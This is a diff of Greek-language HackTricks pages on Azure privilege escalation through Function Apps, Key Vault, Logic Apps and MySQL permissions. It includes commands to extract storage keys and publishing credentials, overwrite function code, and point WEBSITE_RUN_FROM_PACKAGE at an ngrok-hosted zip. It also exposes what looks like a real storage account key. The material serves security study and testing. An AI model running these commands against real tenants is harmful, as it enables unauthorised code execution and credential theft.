Αυτή η μέθοδος ανάπτυξης συνήθως ρυθμίζει τις ρυθμίσεις **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** και **`WEBSITE_CONTENTSHARE`** που μπορείτε να αποκτήσετε από
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
@@ -29,7 +29,7 @@ az functionapp config appsettings list \
|
||||
Αυτές οι ρυθμίσεις θα περιέχουν το **Storage Account Key** που μπορεί να χρησιμοποιήσει η Function για να έχει πρόσβαση στον κώδικα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Με αρκετά δικαιώματα για να συνδεθείτε στο File Share και **να τροποποιήσετε το σενάριο**, είναι δυνατόν να εκτελέσετε αυθαίρετο κώδικα στη Function και να κλιμακώσετε τα δικαιώματα.
|
||||
> Με αρκετές άδειες για να συνδεθείτε στο File Share και **να τροποποιήσετε το σενάριο**, είναι δυνατόν να εκτελέσετε αυθαίρετο κώδικα στη Function και να κλιμακώσετε τα δικαιώματα.
|
||||
|
||||
Το παρακάτω παράδειγμα χρησιμοποιεί macOS για να συνδεθεί στο file share, αλλά συνιστάται να ελέγξετε επίσης την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα file shares:
|
||||
|
||||
@@ -58,13 +58,13 @@ az functionapp config appsettings list \
|
||||
Αυτή η ρύθμιση θα περιέχει συνήθως ένα **SAS URL για λήψη** του κώδικα από τον Λογαριασμό Αποθήκευσης.
|
||||
|
||||
> [!CAUTION]
|
||||
> Με αρκετές άδειες για σύνδεση με το blob container που **περιέχει τον κώδικα σε zip** είναι δυνατόν να εκτελέσετε αυθαίρετο κώδικα στη Λειτουργία και να κλιμακώσετε τις άδειες.
|
||||
> Με αρκετές άδειες για σύνδεση με το blob container που **περιέχει τον κώδικα σε zip** είναι δυνατόν να εκτελέσετε αυθαίρετο κώδικα στη Λειτουργία και να κλιμακώσετε τα δικαιώματα.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Ακριβώς όπως στην προηγούμενη περίπτωση, αν η ανάπτυξη γίνει μέσω των Github Actions, είναι δυνατόν να βρείτε τον φάκελο **`github-actions-deploy`** στον Λογαριασμό Αποθήκευσης που περιέχει ένα zip του κώδικα και ένα SAS URL για το zip στη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` και `WEBSITE_CONTENTSHARE`)
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` και `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Με άδειες για ανάγνωση των containers μέσα στον Λογαριασμό Αποθήκευσης που αποθηκεύει τα δεδομένα της λειτουργίας, είναι δυνατόν να βρείτε το container **`scm-releases`**. Εκεί είναι δυνατόν να βρείτε την τελευταία έκδοση σε **μορφή αρχείου Squashfs filesystem** και επομένως είναι δυνατόν να διαβάσετε τον κώδικα της λειτουργίας:
|
||||
```bash
|
||||
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
Είναι επίσης δυνατό να βρείτε τα **master and functions keys** που είναι αποθηκευμένα στον λογαριασμό αποθήκευσης στον κάδο **`azure-webjobs-secrets`** μέσα στον φάκελο **`<app-name>`** στα αρχεία JSON που μπορείτε να βρείτε μέσα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Με αρκετά δικαιώματα για να συνδεθείτε στον κάδο blob που **περιέχει τον κώδικα σε αρχείο zip** (το οποίο στην πραγματικότητα είναι ένα **`squashfs`**) είναι δυνατό να εκτελέσετε αυθαίρετο κώδικα στη Function και να κλιμακώσετε τα δικαιώματα.
|
||||
> Με αρκετά δικαιώματα για να συνδεθείτε στον κάδο blob που **περιέχει τον κώδικα σε αρχείο με επέκταση zip** (το οποίο στην πραγματικότητα είναι ένα **`squashfs`**) είναι δυνατό να εκτελέσετε αυθαίρετο κώδικα στη Function και να κλιμακώσετε τα δικαιώματα.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -116,7 +116,7 @@ az storage blob upload \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει την καταγραφή των κλειδιών λειτουργίας, κύριου και συστήματος, αλλά όχι του κλειδιού του διακομιστή, της καθορισμένης λειτουργίας με:
|
||||
```bash
|
||||
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει την απόκτηση του κλειδιού φιλοξενίας, της καθορισμένης λειτουργίας με:
|
||||
Αυτή η άδεια επιτρέπει την απόκτηση του κλειδιού διακομιστή, της καθορισμένης λειτουργίας με:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός κλειδιού λειτουργίας της καθορισμένης λειτουργίας με:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός κύριου κλειδιού για τη συγκεκριμένη λειτουργία με:
|
||||
```bash
|
||||
@@ -164,13 +164,13 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
> [!CAUTION]
|
||||
> Θυμηθείτε ότι με αυτό το κλειδί μπορείτε επίσης να έχετε πρόσβαση στον πηγαίο κώδικα και να τον τροποποιήσετε όπως εξηγήθηκε προηγουμένως!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός κλειδιού συστήματος για τη συγκεκριμένη λειτουργία με:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει την απόκτηση των ρυθμίσεων μιας λειτουργίας. Μέσα σε αυτές τις ρυθμίσεις μπορεί να είναι δυνατή η εύρεση των προεπιλεγμένων τιμών **`AzureWebJobsStorage`** ή **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** που περιέχουν ένα **κλειδί λογαριασμού για πρόσβαση στο blob storage της λειτουργίας με ΠΛΗΡΕΙΣ άδειες**.
|
||||
```bash
|
||||
@@ -181,9 +181,9 @@ az functionapp config appsettings list --name <func-name> --resource-group <res-
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Αυτές οι άδειες επιτρέπουν την καταγραφή των τιμών ρυθμίσεων μιας λειτουργίας όπως έχουμε δει προηγουμένως, συν **την τροποποίηση αυτών των τιμών**. Αυτό είναι χρήσιμο διότι αυτές οι ρυθμίσεις υποδεικνύουν πού βρίσκεται ο κώδικας που θα εκτελείται μέσα στη λειτουργία. 
|
||||
Αυτές οι άδειες επιτρέπουν την καταγραφή των τιμών ρύθμισης μιας λειτουργίας όπως έχουμε δει προηγουμένως, καθώς και **την τροποποίηση αυτών των τιμών**. Αυτό είναι χρήσιμο διότι αυτές οι ρυθμίσεις υποδεικνύουν πού βρίσκεται ο κώδικας που θα εκτελείται μέσα στη λειτουργία.
|
||||
|
||||
Είναι επομένως δυνατό να ορίσετε την τιμή της ρύθμισης **`WEBSITE_RUN_FROM_PACKAGE`** που δείχνει σε ένα URL zip αρχείο που περιέχει τον νέο κώδικα που θα εκτελείται μέσα σε μια διαδικτυακή εφαρμογή:
|
||||
|
||||
@@ -213,7 +213,7 @@ az rest --method PUT \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Με αυτή την άδεια είναι **δυνατό να τροποποιηθεί ο κώδικας μιας εφαρμογής** μέσω της διαδικτυακής κονσόλας (ή μέσω του παρακάτω API endpoint):
|
||||
```bash
|
||||
@@ -224,7 +224,7 @@ az rest --method PUT \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Αυτή η άδεια επιτρέπει την καταγραφή όλων των προφίλ δημοσίευσης που περιέχουν βασικά **credentials βασικής αυθεντικοποίησης**:
|
||||
```bash
|
||||
@@ -240,9 +240,9 @@ az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Αν τα διαπιστευτήρια **REDACTED**
|
||||
- Αν οι πιστοποιήσεις **REDACTED**
|
||||
|
||||
Αν δείτε ότι αυτά τα διαπιστευτήρια είναι **REDACTED**, είναι επειδή **χρειάζεται να ενεργοποιήσετε την επιλογή βασικής αυθεντικοποίησης SCM** και για αυτό χρειάζεστε την δεύτερη άδεια (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Αν δείτε ότι αυτές οι πιστοποιήσεις είναι **REDACTED**, είναι επειδή **πρέπει να ενεργοποιήσετε την επιλογή βασικής αυθεντικοποίησης SCM** και γι' αυτό χρειάζεστε την δεύτερη άδεια (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -262,9 +262,9 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Μέθοδος SCM**
|
||||
- **Method SCM**
|
||||
|
||||
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα **βασικά διαπιστευτήρια αυθεντικοποίησης στη διεύθυνση URL SCM** της εφαρμογής σας και να αποκτήσετε τις τιμές των μεταβλητών περιβάλλοντος:
|
||||
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα **βασικά διαπιστευτήρια αυθεντικοποίησης στη διεύθυνση URL SCM** της εφαρμογής σας και να λάβετε τις τιμές των μεταβλητών περιβάλλοντος:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -277,7 +277,7 @@ https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Σημειώστε ότι το **όνομα χρήστη SCM** είναι συνήθως ο χαρακτήρας "$" ακολουθούμενος από το όνομα της εφαρμογής, έτσι: `$<app-name>`._
|
||||
|
||||
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη σελίδα ιστού από `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη σελίδα από `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Οι τιμές ρυθμίσεων περιέχουν το **AccountKey** του λογαριασμού αποθήκευσης που αποθηκεύει τα δεδομένα της εφαρμογής λειτουργίας, επιτρέποντας τον έλεγχο αυτού του λογαριασμού αποθήκευσης.
|
||||
|
||||
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
|
||||
```
|
||||
_Σημειώστε ότι το **όνομα χρήστη FTP** είναι συνήθως στη μορφή \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
Σύμφωνα με [**τα έγγραφα**](https://github.com/projectkudu/kudu/wiki/REST-API#command), αυτή η άδεια επιτρέπει να **εκτελούνται εντολές μέσα στον διακομιστή SCM** που θα μπορούσαν να χρησιμοποιηθούν για να τροποποιήσουν τον πηγαίο κώδικα της εφαρμογής:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Αυτή η άδεια επιτρέπει να **διαβάσετε τον πηγαίο κώδικα** της εφαρμογής μέσω του VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Με αυτή την άδεια είναι δυνατή η [λήψη του **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) το οποίο μπορεί να χρησιμοποιηθεί αργότερα για να ανακτηθεί το **master key** και επομένως να αποκτηθεί πρόσβαση και να τροποποιηθεί ο κώδικας της λειτουργίας:
|
||||
Με αυτή την άδεια είναι δυνατή η [λήψη του **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) το οποίο μπορεί να χρησιμοποιηθεί αργότερα για να ανακτηθεί το **master key** και επομένως να αποκτηθεί πρόσβαση και να τροποποιηθεί ο κώδικας της λειτουργίας.
|
||||
|
||||
Ωστόσο, στις τελευταίες μου ελέγχους δεν επιστράφηκε κανένα token, οπότε μπορεί να είναι απενεργοποιημένο ή να μην λειτουργεί πια, αλλά εδώ είναι πώς θα το κάνατε:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Αυτές οι άδειες επιτρέπουν να **ενεργοποιηθούν οι λειτουργίες** που μπορεί να είναι απενεργοποιημένες (ή να τις απενεργοποιήσουν).
|
||||
```bash
|
||||
@@ -342,7 +333,7 @@ az functionapp config appsettings set \
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Με αυτές τις άδειες είναι δυνατόν να **τροποποιηθεί το κοντέινερ που εκτελείται από μια εφαρμογή λειτουργίας** που έχει ρυθμιστεί να εκτελεί ένα κοντέινερ. Αυτό θα επέτρεπε σε έναν επιτιθέμενο να ανεβάσει μια κακόβουλη εφαρμογή κοντέινερ azure function στο docker hub (για παράδειγμα) και να κάνει τη λειτουργία να την εκτελέσει.
|
||||
```bash
|
||||
@@ -350,31 +341,31 @@ az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Με αυτές τις άδειες είναι δυνατόν να **συνδεθεί μια νέα ταυτότητα διαχειριζόμενου χρήστη σε μια λειτουργία**. Εάν η λειτουργία είχε παραβιαστεί, αυτό θα επέτρεπε την κλιμάκωση των δικαιωμάτων σε οποιαδήποτε ταυτότητα διαχειριζόμενου χρήστη.
|
||||
Με αυτές τις άδειες είναι δυνατή η **σύνδεση μιας νέας ταυτότητας διαχειριζόμενου χρήστη σε μια λειτουργία**. Εάν η λειτουργία είχε παραβιαστεί, αυτό θα επέτρεπε την κλιμάκωση των δικαιωμάτων σε οποιαδήποτε ταυτότητα διαχειριζόμενου χρήστη.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Απομακρυσμένη Επιδιόρθωση
|
||||
### Remote Debugging
|
||||
|
||||
Είναι επίσης δυνατό να συνδεθείτε για να επιδιορθώσετε μια εκτελούμενη Azure function όπως [**εξηγείται στα έγγραφα**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ωστόσο, από προεπιλογή, η Azure θα απενεργοποιήσει αυτή την επιλογή σε 2 ημέρες σε περίπτωση που ο προγραμματιστής ξεχάσει να αποφύγει την αφήγηση ευάλωτων ρυθμίσεων.
|
||||
Είναι επίσης δυνατό να συνδεθείτε για να αποσφαλματώσετε μια εκτελούμενη Azure function όπως [**εξηγείται στα έγγραφα**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ωστόσο, από προεπιλογή, η Azure θα απενεργοποιήσει αυτή την επιλογή σε 2 ημέρες σε περίπτωση που ο προγραμματιστής ξεχάσει να αποφύγει την αφήγηση ευάλωτων ρυθμίσεων.
|
||||
|
||||
Είναι δυνατό να ελέγξετε αν μια Function έχει ενεργοποιημένη την αποσφαλμάτωση με:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Έχοντας την άδεια `Microsoft.Web/sites/config/write`, είναι επίσης δυνατό να θέσετε μια λειτουργία σε λειτουργία αποσφαλμάτωσης (η παρακάτω εντολή απαιτεί επίσης τις άδειες `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` και `Microsoft.Web/sites/Read`).
|
||||
Έχοντας την άδεια `Microsoft.Web/sites/config/write`, είναι επίσης δυνατό να θέσετε μια λειτουργία σε κατάσταση αποσφαλμάτωσης (η παρακάτω εντολή απαιτεί επίσης τις άδειες `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` και `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Αλλαγή αποθετηρίου Github
|
||||
|
||||
Προσπάθησα να αλλάξω το αποθετήριο Github από το οποίο πραγματοποιείται η ανάπτυξη εκτελώντας τις παρακάτω εντολές, αλλά ακόμα και αν άλλαξε, **ο νέος κώδικας δεν φορτώθηκε** (πιθανώς επειδή περιμένει την ενημέρωση του κώδικα από την ενέργεια Github).\
|
||||
Επιπλέον, **η διαπιστευτήρια ομοσπονδίας διαχειριζόμενης ταυτότητας δεν ενημερώθηκε** επιτρέποντας το νέο αποθετήριο, οπότε φαίνεται ότι αυτό δεν είναι πολύ χρήσιμο.
|
||||
Επιπλέον, η **διαπιστευτήρια ομοσπονδίας διαχειριζόμενης ταυτότητας δεν ενημερώθηκαν** επιτρέποντας το νέο αποθετήριο, οπότε φαίνεται ότι αυτό δεν είναι πολύ χρήσιμο.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
../az-services/az-keyvault.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
### `Microsoft.KeyVault/vaults/write`
|
||||
|
||||
Ένας επιτιθέμενος με αυτή την άδεια θα είναι σε θέση να τροποποιήσει την πολιτική ενός key vault (το key vault πρέπει να χρησιμοποιεί πολιτικές πρόσβασης αντί για RBAC).
|
||||
```bash
|
||||
|
||||
@@ -5,15 +5,13 @@
|
||||
## Logic Apps Privesc
|
||||
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-logic-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε ή να ενημερώσετε, Azure Logic Apps workflows. Τα workflows ορίζουν αυτοματοποιημένες διαδικασίες και ενσωματώσεις μεταξύ διαφόρων συστημάτων και υπηρεσιών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -26,8 +24,6 @@ az logic workflow update \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Και μετά την αλλαγή του, μπορείτε να το εκτελέσετε με:
|
||||
```bash
|
||||
az rest \
|
||||
@@ -36,16 +32,12 @@ az rest \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
|
||||
Με αυτές τις άδειες, μπορείτε να αναπτύξετε ροές εργασίας Logic App χρησιμοποιώντας αναπτύξεις αρχείων ZIP. Αυτές οι άδειες επιτρέπουν ενέργειες όπως η ανάγνωση λεπτομερειών εφαρμογής, η πρόσβαση σε διαπιστευτήρια δημοσίευσης, η εγγραφή αλλαγών και η καταγραφή ρυθμίσεων εφαρμογής. Μαζί με τις άδειες εκκίνησης, μπορείτε να ενημερώσετε και να αναπτύξετε μια νέα Logic App με το επιθυμητό περιεχόμενο.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,19 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## MySQL Database Privesc
|
||||
Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-mysql.md
|
||||
{{#endref}}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
|
||||
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε MySQL Flexible Server instances στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των ρυθμίσεων των υπαρχόντων διακομιστών ή την αποσυναρμολόγηση διακομιστών.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Με αυτή την άδεια, μπορείτε να δημιουργήσετε, να ενημερώσετε ή να διαγράψετε τις παρουσίες MySQL Flexible Server στο Azure. Αυτό περιλαμβάνει την προμήθεια νέων διακομιστών, την τροποποίηση των υπαρχουσών ρυθμίσεων διακομιστών ή την αποσυναρμολόγηση διακομιστών.
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
@@ -27,32 +24,20 @@ az mysql flexible-server create \
|
||||
--tier <PricingTier> \
|
||||
--version <MySQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Για παράδειγμα, αυτές οι άδειες επιτρέπουν την αλλαγή του κωδικού πρόσβασης MySQL, χρήσιμο φυσικά σε περίπτωση που η αυθεντικοποίηση MySQL είναι ενεργοποιημένη.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Επιπλέον, είναι απαραίτητο να έχετε ενεργοποιημένη την δημόσια πρόσβαση αν θέλετε να έχετε πρόσβαση από ένα μη ιδιωτικό σημείο, για να το ενεργοποιήσετε:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
|
